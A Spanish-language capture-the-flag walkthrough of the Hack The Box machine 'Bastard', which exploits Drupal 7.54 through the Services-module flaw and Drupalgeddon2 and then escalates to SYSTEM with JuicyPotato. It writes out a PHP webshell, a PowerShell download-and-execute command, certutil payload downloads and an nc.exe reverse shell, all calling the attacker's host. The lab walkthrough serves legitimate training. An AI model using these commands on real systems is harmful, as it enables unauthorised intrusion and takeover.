the_open_door
café
ESEN

Bastard

HackTheBoxMediaWindows10.10.10.9

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#drupal#drupalgeddon2#cve-2018-7600#cve-2019-6340#insecure-deserialization#rce#seimpersonate#juicypotato#ms15-051#windows-kernel-exploit#droopescan#nishang
TL;DR. Bastard es una caja Windows que corre Drupal 7.54 sobre IIS. La versión es vulnerable a dos RCE distintos: el CVE-2019-6340 del módulo Services (deserialización insegura, ver Drupalgeddon) y el famoso Drupalgeddon2 (CVE-2018-7600). Ambos dan shell como nt authority\iusr. Desde ahí, SeImpersonatePrivilege permite escalar con JuicyPotato (abuso de SeImpersonate); como alternativa, el kernel sin parchear cae a MS15-051 (exploit de kernel).

Reconocimiento

Identificar el sistema operativo por el TTL

ping -c 1 10.10.10.9

ping a 10.10.10.9 con ttl=127

64 bytes from 10.10.10.9: icmp_seq=1 ttl=127 time=115 ms

TTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo UDP

Antes del TCP, un barrido de los 100 puertos UDP más comunes. El grep -v 'no-response' elimina el ruido de los puertos que no contestan, que en UDP son la inmensa mayoría (la ausencia de respuesta es ambigua: puede ser puerto abierto y callado, o filtrado).

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.9 | grep -v 'no-response'

Salida del escaneo UDP: la tabla PORT STATE SERVICE REASON aparece vacía, sin ninguna fila

Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-11 09:40 UTC
Initiating UDP Scan at 09:40
Scanning 10.10.10.9 [100 ports]
Completed UDP Scan at 09:40, 2.14s elapsed (100 total ports)
Nmap scan report for 10.10.10.9
Host is up, received user-set.
Scanned at 2025-12-11 09:40:43 UTC for 2s

PORT      STATE     SERVICE      REASON

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.22 seconds

La tabla sale vacía: ni un solo puerto UDP abierto entre los 100 más habituales. Es un descarte, pero un descarte que hay que hacer: si hubiera aparecido un SNMP o un TFTP, la caja habría ido por otro camino.

Escaneo TCP completo

El TCP se lanza con una función del .zshrc. Como esconde el comando real, va con su código, para que el escaneo sea reproducible sin tenerla instalada:

alias cat="batcat --paging=never"

jmap () {
        echo -e "\n[+] Introduce una IP\n"
        read ip
        echo
        sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open $ip -oG scan | cat -l java
}

El equivalente directo, sin la función, es:

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.9 -oG scan

Salida de jmap: nmap descubre los puertos 80, 135 y 49154 abiertos, los tres con syn-ack ttl 127

Discovered open port 80/tcp on 10.10.10.9
Discovered open port 135/tcp on 10.10.10.9
Discovered open port 49154/tcp on 10.10.10.9
Completed SYN Stealth Scan at 09:41, 26.46s elapsed (65535 total ports)
Nmap scan report for 10.10.10.9
Host is up, received user-set (0.11s latency).
Scanned at 2025-12-11 09:41:10 UTC for 27s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON
80/tcp    open  http    syn-ack ttl 127
135/tcp   open  msrpc   syn-ack ttl 127
49154/tcp open  unknown syn-ack ttl 127

Tres puertos, y la columna REASON confirma por segunda vía lo que decía el ping: ttl 127. Que los 65532 restantes salgan como filtered (y no closed) indica un cortafuegos que descarta paquetes en silencio en lugar de responder con un RST.

La segunda función, extractPorts, no escanea: parsea el fichero scan en formato grepable y deja los puertos en el portapapeles.

extractPorts () {
        echo -e "Extracting information..."

        ip_address=$(grep -oP 'Host: \K\S+' "$1" | head -n 1)

        ports=$(grep -oP '\d+(?=/open)' "$1" | tr '\n' ',' | sed 's/,$/\n/')
        echo -e "IP Address: $ip_address"
        echo -e "Open ports: $ports\n"
        {
                echo -e "IP Address: $ip_address"
                echo -e "Open ports: $ports\n"
        } >> extractPorts.tmp
        echo "$ports" | xclip -sel clip
        echo -e "Ports copied to clipboard\n"
        cat extractPorts.tmp
        rm extractPorts.tmp
}
extractPorts scan

Salida de extractPorts: IP Address 10.10.10.9 y Open ports 80,135,49154, copiados al portapapeles

Extracting information...
IP Address: 10.10.10.9
Open ports: 80,135,49154

Ports copied to clipboard

IP Address: 10.10.10.9
Open ports: 80,135,49154

Versiones y scripts sobre los puertos abiertos

Y la tercera, jmap2, lanza el escaneo de versiones contra esos tres puertos:

jmap2 () {

        if [ "$#" -ne 2 ]
        then
                echo "Uso: jmap2 <ip> <ports>"
                return 1
        fi

        local ip="$1"
        local ports="$2"
        nmap -p"$ports" -sCV "$ip" | cat -l java
}
nmap -p80,135,49154 -sCV 10.10.10.9

Salida de nmap -sCV: IIS 7.5, robots.txt con 36 entradas disallowed incluida /CHANGELOG.txt, http-generator Drupal 7 y los dos puertos RPC

PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
| http-methods:
|_  Potentially risky methods: TRACE
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Bastard | Bastard
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

El 135 y el 49154 son RPC, poco aprovechables sin credenciales. El vector está en el 80: IIS 7.5 sirviendo un Drupal 7. Y el robots.txt, que existe para decirle a los buscadores qué no indexar, hace justo lo contrario para nosotros: nos entrega un mapa de la instalación, con /CHANGELOG.txt entre las 36 entradas. Ese fichero es el que suele llevar la versión exacta.

HTTP - TCP 80: identificar tecnologías

whatweb http://10.10.10.9

Salida de whatweb en una línea: Drupal, Microsoft-IIS 7.5, PHP 5.3.28, MetaGenerator Drupal 7 y Title Welcome to Bastard

http://10.10.10.9 [200 OK] Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[Microsoft-IIS/7.5], IP[10.10.10.9], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], Microsoft-IIS[7.5], PHP[5.3.28,], PasswordField[pass], Script[text/javascript], Title[Welcome to Bastard | Bastard], UncommonHeaders[x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.3.28, ASP.NET]

Un dato nuevo respecto a nmap: PHP 5.3.28, una versión de 2013 ya fuera de soporte. Wappalyzer, desde el navegador, añade la versión de la librería JavaScript:

Portada de Bastard con el panel de Wappalyzer abierto: Drupal 7, PHP 5.3.28, Microsoft ASP.NET, Windows Server, IIS 7.5 y jQuery 1.4.4

CMS                   Drupal 7
Programming languages PHP 5.3.28
Web frameworks        Microsoft ASP.NET
Operating systems     Windows Server
Web servers           IIS 7.5
JavaScript libraries  jQuery 1.4.4

jQuery 1.4.4 es de 2010 y arrastra fallos conocidos de XSS y contaminación de prototipos. Es una pista de lo desactualizado que está todo, pero no un vector directo: la portada solo tiene un formulario de login. Seguimos con el CMS.

HTTP - TCP 80: código fuente

Código fuente de la portada mostrando las rutas del tema bartik, la carga de jquery.js?v=1.4.4 y el objeto Drupal.settings

<script type="text/javascript" src="http://10.10.10.9/misc/jquery.js?v=1.4.4"></script>
<script type="text/javascript" src="http://10.10.10.9/misc/jquery.once.js?v=1.2"></script>
<script type="text/javascript" src="http://10.10.10.9/misc/drupal.js?on28x3"></script>
jQuery.extend(Drupal.settings, {"basePath":"\/","pathPrefix":"","ajaxPageState":{"theme":"bartik", ...
<body class="html front not-logged-in one-sidebar sidebar-first page-node" >

El código fuente no esconde nada: es el HTML estándar de Drupal con el tema bartik por defecto. Confirma la versión de jQuery y poco más. Otro descarte que anotar antes de pasar al fuzzing.

HTTP - TCP 80: descubrimiento de rutas

gobuster dir -u http://10.10.10.9/ -w /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 2>/dev/null

Salida de gobuster con decenas de rutas: /modules, /themes, /misc, /user 200, /scripts, /admin 403, /sites, /includes, /profiles y sus variantes capitalizadas

/modules              (Status: 301) [Size: 149] [--> http://10.10.10.9/modules/]
/themes               (Status: 301) [Size: 148] [--> http://10.10.10.9/themes/]
/misc                 (Status: 301) [Size: 146] [--> http://10.10.10.9/misc/]
/search               (Status: 403) [Size: 1233]
/user                 (Status: 200) [Size: 7411]
/scripts              (Status: 301) [Size: 149] [--> http://10.10.10.9/scripts/]
/admin                (Status: 403) [Size: 1233]
/tag                  (Status: 403) [Size: 1233]
/sites                (Status: 301) [Size: 147] [--> http://10.10.10.9/sites/]
/template             (Status: 403) [Size: 1233]
/includes             (Status: 301) [Size: 150] [--> http://10.10.10.9/includes/]
/profiles             (Status: 301) [Size: 150] [--> http://10.10.10.9/profiles/]
/Misc                 (Status: 301) [Size: 146] [--> http://10.10.10.9/Misc/]
/root                 (Status: 403) [Size: 1233]
/repository           (Status: 403) [Size: 1233]

Muchísimas rutas, pero casi todas son el esqueleto estándar de Drupal (las mismas que ya listaba el robots.txt) o duplicados por mayúsculas, porque Windows no distingue mayúsculas de minúsculas en las rutas. Antes de perder tiempo revisándolas una a una, conviene enumerar el CMS con una herramienta que lo entienda.

Enumeración de Drupal con droopescan

droopescan tiene dependencias de Python que chocan con las versiones modernas, así que lo más limpio es lanzarlo dentro de un contenedor:

docker run -it --rm --entrypoint /bin/bash asannou/droopescan

Docker descargando la imagen asannou/droopescan y el banner de droopescan v1.33.7 con sus ejemplos de invocación

Unable to find image 'asannou/droopescan:latest' locally
latest: Pulling from asannou/droopescan
...
Status: Downloaded newer image for asannou/droopescan:latest
root@331332a0b0c0:/wd# droopescan
                                                    v1.33.7
Example invocations:
  droopescan scan drupal -u URL_HERE
  droopescan scan silverstripe -u URL_HERE
droopescan scan drupal -u http://10.10.10.9/ --threads-scan 100

Salida de droopescan: plugins ctools, libraries, services, profile, php e image; temas seven y garland; y Possible version(s) 7.54

[+] Plugins found:
    ctools http://10.10.10.9/sites/all/modules/ctools/
    libraries http://10.10.10.9/sites/all/modules/libraries/
    services http://10.10.10.9/sites/all/modules/services/
    profile http://10.10.10.9/modules/profile/
    php http://10.10.10.9/modules/php/
    image http://10.10.10.9/modules/image/

[+] Themes found:
    seven http://10.10.10.9/themes/seven/
    garland http://10.10.10.9/themes/garland/

[+] Possible version(s):
    7.54

[+] Possible interesting urls found:
    Default changelog file - http://10.10.10.9/CHANGELOG.txt
    Default admin - http://10.10.10.9/user/login

[+] Scan finished (0:52:32.592174 elapsed)

Cincuenta y dos minutos de escaneo (lento, porque va probando rutas conocidas una a una), pero con dos resultados que valen su peso: la versión probable 7.54 y, sobre todo, el módulo services instalado. Ese módulo es el que expone la API REST de Drupal, y tiene un RCE propio.

Confirmar la versión: CHANGELOG.txt

droopescan dice "posible", así que lo confirmamos leyendo el fichero que el robots.txt ya nos había señalado:

CHANGELOG.txt mostrando Drupal 7.54

Drupal 7.54, 2017-02-01

Versión fijada: Drupal 7.54.

Búsqueda de exploits

Con la versión cerrada, searchsploit. La búsqueda se hace por 7.x y no por 7.54 a propósito: los exploits genéricos de una rama cubren más versiones y suelen estar mejor probados que los que apuntan a una versión exacta.

searchsploit 'Drupal 7.x'
searchsploit -m php/webapps/41564.php

Salida de searchsploit con la lista de exploits de Drupal 7.x; el primero, Module Services - Remote Code Execution, aparece recuadrado, y debajo la copia del 41564.php

 Exploit Title                                                              |  Path
----------------------------------------------------------------------------------------------
Drupal 7.x Module Services - Remote Code Execution                          | php/webapps/41564.php
Drupal < 7.34 - Denial of Service                                           | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit)    | php/webapps/44557.rb
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE           | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE (Metasploit)       | php/webapps/44482.rb
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit)           | php/remote/40130.rb
----------------------------------------------------------------------------------------------

  Exploit: Drupal 7.x Module Services - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/41564
     Path: /usr/share/exploitdb/exploits/php/webapps/41564.php
  Verified: True
File Type: C++ source, ASCII text
Copied to: /home/krmena/41564.php

Hay dos candidatos fuertes, así que mostramos ambos: el 41564.php del módulo Services (que droopescan acaba de confirmar que está instalado) y el 44449.rb de Drupalgeddon2.

RCE: CVE-2019-6340 (módulo Services)

Leer el exploit antes de lanzarlo

Nunca se ejecuta un exploit descargado sin abrirlo. En este caso además es obligatorio, porque trae valores de ejemplo que no sirven:

Código fuente de 41564.php en nano: la cabecera de tres fases, y recuadrados el $url de ejemplo vmweb.lan y el bloque $file con dixuSOspsOUU.php

#!/usr/bin/php
<?php
# Drupal Services Module Remote Code Execution Exploit
# https://www.ambionics.io/blog/drupal-services-module-rce
#
# Three stages:
# 1. Use the SQL Injection to get the contents of the cache for current endpoint
#    along with admin credentials and hash
# 2. Alter the cache to allow us to write a file and do so
# 3. Restore the cache

define('CONTROLLER', 'user');
define('ACTION', 'login');

$url = 'http://vmweb.lan/drupal-7.54';
$endpoint_path = '/rest_endpoint';
$endpoint = 'rest_endpoint';

$file = [
    'filename' => 'dixuSOspsOUU.php',
    'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
];

La cabecera describe la cadena completa en tres fases: (1) una SQLi para robar el contenido del cache del endpoint junto con las credenciales de administrador, (2) alterar ese cache para poder escribir un fichero y escribirlo, y (3) restaurar el cache para no dejar la instalación rota. Todo ello arranca de una deserialización insegura en el login del módulo (deserialización insegura en Drupal).

Tres cosas hay que tocar: $url (trivial), el nombre del fichero y su contenido (el payload por defecto es un eval(file_get_contents('php://input')), cómodo pero incómodo de usar desde curl) y, la difícil, $endpoint_path.

Localizar el endpoint REST

El endpoint_path es la ruta bajo la que el módulo Services publica su API, y la elige quien instala el módulo. El valor de ejemplo del exploit no tiene por qué coincidir, y aquí no coincide:

http://10.10.10.9/rest_endpoint

La ruta /rest_endpoint devuelve la página de error de Drupal: Page not found, The requested page "/rest_endpoint" could not be found

Page not found
The requested page "/rest_endpoint" could not be found.

Hay que descubrir el nombre real. En Drupal, todo el contenido publicado cuelga de /node/<id> con un identificador numérico, y ahí entran artículos, páginas y a veces la documentación interna de la propia API (concepto recogido en la página de Drupal de HackTricks). Recorriendo los nodos desde el 1:

http://10.10.10.9/node/1

El nodo 1 de Drupal muestra en la barra lateral un bloque titulado REST con un enlace api_test

REST
  api_test

El nodo publica un bloque llamado REST con un enlace api_test, que es el nombre visible del endpoint. Siguiéndolo llegamos a la ruta real, y el servicio se identifica solo:

http://10.10.10.9/rest

La ruta /rest devuelve el texto Services Endpoint "rest_endpoint" has been setup successfully

Services Endpoint "rest_endpoint" has been setup successfully.

Aquí hay una distinción que conviene no mezclar, porque es el motivo de que el exploit fallase: el nombre interno del endpoint sí es rest_endpoint (por eso $endpoint se queda como está), pero la ruta por la que se accede es /rest. El exploit usaba el nombre interno también como ruta.

Ajustar el exploit

Código del exploit editado: $url apunta a 10.10.10.9, $endpoint_path a /rest, y el bloque $file ahora escribe shell.php con system($_GET["cmd"])

$url = 'http://10.10.10.9';
$endpoint_path = '/rest';
$endpoint = 'rest_endpoint';

$file = [
    'filename' => 'shell.php',
    'data' => '<?php system($_GET[\"cmd\"]); ?>'
];

El payload se cambia por una webshell clásica con parámetro cmd, que se maneja con un curl de una línea en lugar de tener que mandar el código por el cuerpo de la petición.

Subir la webshell

php drupal_exploit.php
curl "http://10.10.10.9/shell.php?cmd=whoami"

El exploit almacenando session.json y user.json, informando de 7 entradas en el cache y escribiendo shell.php; el curl devuelve nt authority\iusr

# Exploit Title: Drupal 7.x Services Module Remote Code Execution
# Vendor Homepage: https://www.drupal.org/project/services
# Exploit Author: Charles FOL
# Website: https://www.ambionics.io/blog/drupal-services-module-rce

Stored session information in session.json
Stored user information in user.json
Cache contains 7 entries
File written: http://10.10.10.9/shell.php

nt authority\iusr

La salida sigue las tres fases de la cabecera: guarda la sesión y el usuario robados por la SQLi, informa de que el cache tenía 7 entradas (las que va a manipular y luego restaurar) y confirma la escritura del fichero. El curl cierra el círculo: tenemos RCE como nt authority\iusr, la cuenta anónima de IIS.

De webshell a reverse shell

Un ?cmd= por curl no da estado ni comodidad. Cargamos en memoria el Invoke-PowerShellTcp de Nishang, que abre una shell de PowerShell contra nuestro listener sin tocar el disco de la víctima:

Repositorio de Nishang en GitHub, con Shells/Invoke-PowerShellTcp.ps1 seleccionado y el menú contextual sobre el botón Raw para copiar la URL

samratashok / nishang  ->  nishang / Shells / Invoke-PowerShellTcp.ps1
wget https://github.com/samratashok/nishang/raw/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1
nano Invoke-PowerShellTcp.ps1
mv Invoke-PowerShellTcp.ps1 pwned.ps1
tail -n 2 pwned.ps1

wget descargando el .ps1 de 4339 bytes desde raw.githubusercontent.com, el renombrado a pwned.ps1 y el tail que muestra la línea Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.4 -Port 4444

HTTP request sent, awaiting response ... 200 OK
Length: 4339 (4.2K) [text/plain]
Saving to: 'Invoke-PowerShellTcp.ps1'
'Invoke-PowerShellTcp.ps1' saved [4339/4339]

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.4 -Port 4444

El detalle que hace que esto funcione está en el tail: el script de Nishang solo define la función Invoke-PowerShellTcp, no la ejecuta. Hay que añadir a mano, al final del fichero, la llamada con nuestra IP y nuestro puerto. Sin esa línea, el servidor descarga el script, define la función y no pasa nada más.

Con el fichero listo, el listener y el servidor web que lo sirve. Aquí se usa Penelope, que hace de nc con esteroides (mejora la TTY, registra la sesión en disco y aguanta varias shells a la vez):

penelope
python3 -m http.server 80
curl "http://10.10.10.9/shell.php?cmd=powershell%20IEX(New-Object%20Net.WebClient).downloadString('http://10.10.16.4/pwned.ps1')"

Penelope escuchando en 0.0.0.0:4444 y recibiendo la sesión de BASTARD; el servidor python registra el GET /pwned.ps1 con un 200; whoami devuelve nt authority\iusr en C:\inetpub\drupal-7.54

[+] Listening for reverse shells on 0.0.0.0:4444 -> 127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 10.10.16.4
[+] Got reverse shell from BASTARD~10.10.10.9-Microsoft_Windows_Server_2008_R2_Datacenter SessionID <1>
[+] Added readline support ...
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D
[+] Logging to /root/.penelope/sessions/BASTARD~10.10.10.9-Microsoft_Windows_Server_2008_R2_Datacenter/2025_12_13-17_47_52-266.log

PS C:\inetpub\drupal-7.54> whoami
nt authority\iusr

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.9 - - [13/Dec/2025 17:47:48] "GET /pwned.ps1 HTTP/1.1" 200 -

El puerto del listener (4444) es el mismo que se escribió en la última línea del .ps1: si no coinciden, la conexión nunca llega. El log del http.server es la prueba de que la víctima descargó el script, y Penelope ya nos adelanta el sistema operativo (Windows_Server_2008_R2_Datacenter) y el directorio del CMS: C:\inetpub\drupal-7.54.

RCE alternativo: Drupalgeddon2 (CVE-2018-7600)

El mismo Drupal 7.54 es vulnerable a Drupalgeddon2 (CVE-2018-7600), un RCE directo en el core por saneamiento incompleto de los Render Arrays en peticiones AJAX: el atacante inyecta propiedades como #post_render o #lazy_builder a través de parámetros de URL y datos de formulario, y Drupal acaba invocando la función del sistema que se le indique.

searchsploit 'drupal 7.x'
searchsploit -m php/webapps/44449.rb
mv 44449.rb drupal_exploit.rb

searchsploit copiando el 44449.rb, con Codes: CVE-2018-7600 y la ruta de destino, seguido del renombrado a drupal_exploit.rb

  Exploit: Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
      URL: https://www.exploit-db.com/exploits/44449
     Path: /usr/share/exploitdb/exploits/php/webapps/44449.rb
    Codes: CVE-2018-7600
 Verified: True
File Type: Ruby script, ASCII text
Copied to: /home/krmena/machines/bastart/exploits/44449.rb

Este es de los de "pulsar un botón": no hay que editar nada.

ruby drupal_exploit.rb http://10.10.10.9

Drupalgeddon2 confirmando Drupal v7.54, validando la ejecución de código, fallando al escribir en tres rutas del web root y cayendo a comandos OS directos con whoami devolviendo nt authority\iusr

[*] --==[::#Drupalggedon2::]==--
[i] Target : http://10.10.10.9/
[+] Found  : http://10.10.10.9/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.54
[*] Testing: Form   (user/password)
[+] Result : Form valid
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo OJBGYGSW
[+] Result : OJBGYGSW
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
[*] Testing: Writing To Web Root   (./)
[!] Target is NOT exploitable [2-2] (HTTP Response: 200)...  Got an empty response back
[*] Testing: Writing To Web Root   (sites/default/)
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)...  Might not have write access?
[*] Testing: Writing To Web Root   (sites/default/files/)
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)...  Might not have write access?
[!] FAILED : Couldn't find a writeable web path
[*] Dropping back to direct OS commands
drupalgeddon2>> whoami
nt authority\iusr

Merece la pena leer esta salida entera en vez de quedarse con el resultado, porque enseña cómo está diseñado un exploit bien hecho. Primero verifica la versión por el CHANGELOG.txt, luego comprueba que el formulario responde, después valida la ejecución de código con un echo de una cadena aleatoria (OJBGYGSW) y solo entonces intenta lo interesante. Y cuando falla al escribir la webshell en las tres rutas que prueba (permisos de escritura en el web root de IIS), no se rinde: degrada a un prompt que ejecuta comandos OS directos. Mismo destino, otro camino.

Flag de usuario

Ambos caminos terminan en el mismo punto, nt authority\iusr. La flag está en el escritorio del único usuario real de la máquina:

cd C:\Users
dir
type dimitris\desktop\user.txt

Listado de C:\Users con Administrator, Classic .NET AppPool, dimitris y Public, y el type de user.txt

    Directory: C:\Users

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----        19/3/2017      1:20            Administrator
d----        19/3/2017      1:54            Classic .NET AppPool
d----        19/3/2017      7:35            dimitris
d-r--        14/7/2009      7:57            Public

PS C:\Users> type dimitris\desktop\user.txt
ad659ec638f51bfb6a2f583dfbe78166

Solo hay una cuenta de persona (dimitris) además de Administrator y la de servicio del pool de .NET. Eso simplifica el objetivo: no hay pivote lateral, la siguiente parada es SYSTEM.

Escalada de privilegios

Abuso de SeImpersonatePrivilege con JuicyPotato

whoami /priv

Salida de whoami /priv mostrando SeImpersonatePrivilege en estado Enabled

PRIVILEGES INFORMATION
----------------------
Privilege Name           Description                                State
======================== ========================================== =======
SeChangeNotifyPrivilege  Bypass traverse checking                   Enabled
SeImpersonatePrivilege   Impersonate a client after authentication  Enabled
SeCreateGlobalPrivilege  Create global objects                      Enabled

iusr tiene SeImpersonatePrivilege en Enabled, la puerta clásica a SYSTEM vía JuicyPotato. Es un privilegio que las cuentas de servicio (IIS, SQL Server) llevan de serie porque lo necesitan para atender peticiones en nombre de terceros, y ahí está el problema: quien puede suplantar a un cliente puede suplantar al que le convenga.

Antes de nada, identificar el sistema operativo con precisión, porque es lo que decide qué CLSID usar:

systeminfo

systeminfo: Microsoft Windows Server 2008 R2 Datacenter, versión 6.1.7600 Build 7600

OS Name:     Microsoft Windows Server 2008 R2 Datacenter
OS Version:  6.1.7600 N/A Build 7600

Un Windows Server 2008 R2 Datacenter, build 7600, es decir la RTM sin ningún Service Pack. Ese dato importará también para la vía alternativa.

Subir nc.exe y JuicyPotato

Necesitamos dos binarios en la máquina. Primero netcat para Windows, que se descarga de eternallybored.org (el proyecto que mantiene compilaciones actualizadas de la utilidad original):

wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip &>/dev/null
unzip netcat-win32-1.12.zip &>/dev/null
rm nc.exe
mv nc64.exe nc.exe
python3 -m http.server 80
cd C:\Windows\temp
mkdir privesc
cd privesc
certutil.exe -f -urlcache -split http://10.10.16.4/nc.exe nc.exe

El zip de netcat descomprimido, el nc64.exe renombrado a nc.exe y el certutil de la víctima descargándolo en C:\Windows\temp\privesc con dos GET /nc.exe en el servidor

PS C:\Windows\temp\privesc> certutil.exe -f -urlcache -split http://10.10.16.4/nc.exe nc.exe
****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.9 - - [13/Dec/2025 18:11:20] "GET /nc.exe HTTP/1.1" 200 -

El rm nc.exe seguido de mv nc64.exe nc.exe no es un capricho: el zip trae la versión de 32 y la de 64 bits, y aquí se sube la de 64 con el nombre corto. certutil.exe es un binario firmado de Windows cuya opción -urlcache -split sirve como descargador HTTP: se usa porque está siempre presente y no levanta las sospechas que levantaría subir una herramienta de transferencia.

Después, JuicyPotato desde su repositorio oficial:

wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe &>/dev/null
mv JuicyPotato.exe JP.exe
python3 -m http.server 80
certutil.exe -f -urlcache -split http://10.10.16.4/JP.exe JP.exe
dir

certutil descargando JP.exe y el dir de C:\Windows\temp\privesc mostrando JP.exe de 347648 bytes y nc.exe de 45272

PS C:\Windows\temp\privesc> certutil.exe -f -urlcache -split http://10.10.16.4/JP.exe JP.exe
CertUtil: -URLCache command completed successfully.
PS C:\Windows\temp\privesc> dir

    Directory: C:\Windows\temp\privesc

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---        13/12/2025      8:12     347648 JP.exe
-a---        13/12/2025      8:11      45272 nc.exe

Los dos ficheros están en su sitio y con el tamaño esperado. El dir es la verificación: si certutil hubiera fallado a medias, el fichero estaría truncado y el exploit fallaría con un error críptico.

Elegir el CLSID correcto

JuicyPotato necesita que le indiquemos un CLSID: el identificador de un objeto COM que el sistema arranque bajo una cuenta privilegiada, que es a quien vamos a suplantar. Cada versión de Windows tiene los suyos, y el repositorio publica listas por sistema operativo:

Tabla de CLSID del repositorio de JuicyPotato titulada Windows Server 2008 R2 Enterprise, con wuauserv, winmgmt y TrustedInstaller corriendo como NT AUTHORITY\SYSTEM

Windows Server 2008 R2 Enterprise

LocalService     AppId                                    CLSID                                    User
wuauserv         {653C5148-4DCE-4905-9CFD-1B23662D3D9E}   {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}   NT AUTHORITY\SYSTEM
wuauserv         {653C5148-4DCE-4905-9CFD-1B23662D3D9E}   {e60687f7-01a1-40aa-86ac-db1cbf673334}   NT AUTHORITY\SYSTEM
winmgmt          {8BC3F05E-D86B-11D0-A075-00C04FB68820}   {C49E32C6-BC8B-11d2-85D4-00105A1F8304}   NT AUTHORITY\SYSTEM
TrustedInstaller {752073A2-23F2-4396-85F0-8FDB879ED0ED}   {752073A1-23F2-4396-85F0-8FDB879ED0ED}   NT AUTHORITY\SYSTEM

Un matiz honesto: la lista disponible es la de Server 2008 R2 Enterprise y nuestra máquina es Datacenter. No es la misma edición, pero comparten el mismo núcleo y el mismo conjunto de servicios COM, así que los CLSID tienen buenas probabilidades de valer. Tomamos el de wuauserv (el servicio de Windows Update), que corre como NT AUTHORITY\SYSTEM.

Lanzar JuicyPotato

.\JP.exe -l 1337 -p cmd.exe -a "/c C:\Windows\Temp\privesc\nc.exe -e cmd.exe 10.10.16.4 1234" -t * -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}"

Cada flag cuenta: -l 1337 es el puerto local donde JuicyPotato monta su falso servidor COM, -p cmd.exe el programa a lanzar, -a sus argumentos (el nc.exe que acabamos de subir apuntando a nuestro listener), -t * prueba las dos técnicas de creación de proceso (CreateProcessWithToken y CreateProcessAsUser) y -c es el CLSID elegido.

JuicyPotato devolviendo authresult 0 con el CLSID resolviendo a NT AUTHORITY\SYSTEM y el listener recibiendo la shell, donde whoami devuelve nt authority\system

[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
...
C:\Windows\system32>whoami
nt authority\system

El authresult 0 y el ;NT AUTHORITY\SYSTEM junto al CLSID son la confirmación de que la suplantación funcionó: el objeto COM se autenticó contra nuestro servidor falso entregándonos su token.

Flag de root

type de root.txt desde la shell de SYSTEM devolviendo 8c09d68eeaa4822b83fa5b1a00a2b709

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
8c09d68eeaa4822b83fa5b1a00a2b709

Caja pwneada.

Vía alternativa: exploit de kernel MS15-051

Un Server 2008 R2 RTM sin hotfixes también cae por kernel. El primer intento es windows-exploit-suggester, que compara la salida de systeminfo contra la base de datos de boletines de Microsoft:

python2 windows-exploit-suggester.py -u
python2 windows-exploit-suggester.py --database 2025-12-13-mssb.xls --systeminfo systeminfo.txt

Salida de windows-exploit-suggester: 0 hotfixes contra 197 boletines, versión identificada como Windows 2008 R2 64-bit, y una lista de MS13-009 a MS09-072 marcados con [M] y [E]

[*] initiating winsploit version 3.3...
[*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits
[*] there are now 197 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2008 R2 64-bit'
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
